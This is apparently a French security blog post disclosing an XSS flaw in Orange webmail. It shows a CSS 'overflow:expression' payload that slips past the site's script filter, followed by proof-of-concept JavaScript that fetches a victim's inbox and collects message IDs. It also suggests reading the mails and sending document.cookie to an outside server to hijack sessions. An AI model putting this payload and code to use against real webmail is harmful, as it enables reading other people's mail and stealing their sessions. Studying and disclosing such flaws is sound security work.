Bonjour à tous,
Lorsque vous ouvrez un mail dans la boite Orange, on peu remarquer que si le mail contient les mots javascript ou script, ils sont automatiquement filtrés et réécris en java-script et noscript, ceci évidemment pour des raisons de sécurité. On ne peut donc pas en théorie écrire du javascript dans les mails pour qu’il soit exécuté.
Par contre, le code javascript suivant overflow:expression permet d’évaluer le code passé en paramètre.
Par exemple le code:
<DIV style= »overflow:expression((1>2)?document.write(’1′):document.write(’2′)) »;>
affichera le nombre 2. Cette expression n’est pas nouvelle et cette faille est (était)présente également sur d’autres sites.
Voici un Proof Of Concept sur comment récupérer les ID des messages de la 1ère page d’une boite mail Orange:
On commence donc par récupérer la source de la page des Objets des mails (La page quand on clique sur Mail)
Pour ca on utilise XMLHttpRequest:
var xmlhttp = getXmlHttp()
Puis un GET sur la boite mail:
xmlhttp.open (‘GET’,'http://’+
document.domain+’/webmail/fr_FR/inbox.html’,false)
xmlhttp.send(null)
var sourcehtml = xmlhttp.responseText
Si on regarde la source, chaque mail peut être lu par la fonction:
javascript:Read(‘read.html’,’239′)
Il suffit alors de récupérer chaque occurence de javascript:Read(‘read.html’ pour récupérer tous les ID des messages:
function getIDMSG (position,sourceHTML)
{
var idmsg
var ipos = sourceHTML.indexOf (‘)’,position+24)
idmsg = sourceHTML.substring (position+24,ipos-1)
return idmsg
} var ipos = sourcehtml.indexOf(‘cript:Read(\\’read.html\\’,\\\ » ,1)
var ipos2
var idmsg
var monTab = new Array()
var i = 0
while (ipos>0)
{
ipos2 = ipos
idmsg = getIDMSG(ipos,sourcehtml)
var bTrouve = RechVal (monTab,idmsg)
if (bTrouve==false)
{
monTab[i] = idmsg
i = i+1
}
ipos = sourcehtml.indexOf(‘cript:Read(\\’read.html\\’,\\\ »,ipos2+1)
}
NB: La fonction RechVal retourne vrai si l’ID du message est déjà présent dans le tableau.
Le tableau monTab contient donc tous les ID des mails.Comme une image vaut un long discours:
Voila pour le proof Of Concept.
Nous pourrions encore aller plus loin dans le raisonnement et ainsi lire les mails grâce aux ID des mails récupérés. C’est à peu près le même principe que pour le ID msg.
N’oublions pas non plus les cookies. Il suffirait de faire un document.cookie et d’envoyer la valeur sur un serveur quelconque pour ainsi voler la session de l’utilisateur.
Par contre, pour récupérer les contacts, c’est une autre paire de manche vu qu’il faudrait faire des requêtes sur un un autre domaine (contacts.orange.fr). (Cross Domain)




No Responses to “Faille XSS chez Orange”